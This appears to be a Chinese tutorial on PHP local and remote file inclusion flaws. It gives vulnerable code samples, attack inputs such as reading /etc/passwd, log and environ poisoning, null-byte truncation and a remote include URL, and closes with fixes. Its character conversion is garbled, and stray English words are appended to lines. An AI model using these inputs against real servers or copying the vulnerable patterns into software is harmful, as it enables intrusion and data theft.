1、背景介紹php
隨着網站業務的需求,web腳本可能容許客戶端用戶輸入控制動態包含在服務器端的文件,會致使惡意代碼的執行及敏感信息泄露,主要包括本地文件包含和遠程文件包含兩種形式。web
2、漏洞成因shell
文件包含漏洞的產生緣由是在經過引入文件時,引用的文件名,用戶可控,因爲傳入的文件名沒有通過合理的校驗,或者校驗被繞過,從而操做了預想以外的文件,就可能致使意外的文件泄露甚至惡意的代碼注入。當被包含的文件在服務器本地時,就造成的本地文件包含漏洞。被包含的文件在第三方服務器時,就造成了遠程文件包含漏洞。apache
本地到遠程:若是php.ini的配置選項allow_url_fopen和allow_url_include爲ON的話,則文件包含函數是能夠加載遠程文件的,這種漏洞被稱爲遠程文件包含漏洞。服務器
常見漏洞代碼:curl
if(isset($_GET[page])){ include $_GET[page]; } else { include "home.php"; }
觸發漏洞的條件:函數
web應用採用include()等文件包含函數經過動態變量的方式引入須要包含的文件。網站
用戶可以控制該動態變量。ui
3、漏洞分類url
1.本地文件包含
2.遠程文件包含
3.文件包含
4、漏洞危害
執行惡意腳本代碼
控制網站
甚至控制服務器
5、漏洞利用
1.本地文件包含
上傳圖片,包含圖片GetShell。
讀文件,讀PHP文件。
包含日誌文件GetShell。
包含/proc/self/environ文件GetShell
若是有phpinfo能夠包含臨時文件
包含data://或php://input等僞協議(須要allow_url_include=On)
例子:包含上傳的圖片GetShell_1:
<?php if($_GET[page]){ include($_GET[page]); }else{ include "show.php"; } ?>
GetShell_2:
<?php if($_GET[page]){ include("./action/".$_GET[page]); }else{ include "./action/show.php" } ?>
GetShell_3: %00截斷
<?php if($_GET[page]){ include("./action/".$_GET[page].".php"); }else{ include "./action/show.php"; } ?>
2.讀文件 index.php?file=/etc/passwd
2.1敏感文件(見pdf10)
2.2讀PHP文件
index.php?page=/var/log/httpd/access_log
3.包含環境變量文件GetShell
須要PHP運行在CGI模式、而後和包含日誌同樣,在User-agent修改爲payload。
4.遠程文件包含
前提是:有遠程文件包含漏洞的服務器的php.ini的配置選項allow_url_fopen和allow_url_include爲ON。
遠程服務器存放一個txt文件,或者不被解析的php文件。index.php?page=http://www.xxx.com/1.txt
5.擴展兩個僞協議:
6、漏洞挖掘
無通用性方法
特定的CMS,特定的版本可能存在漏洞
web漏洞掃描器掃描,常見web漏洞掃描器都支持文件包含漏洞的檢測。
7、修復方案
PHP中可使用open_basedir配置限制訪問限制在指定的區域。
過濾.(點) /(反斜槓) \(反斜槓)
禁止服務器遠程文件包含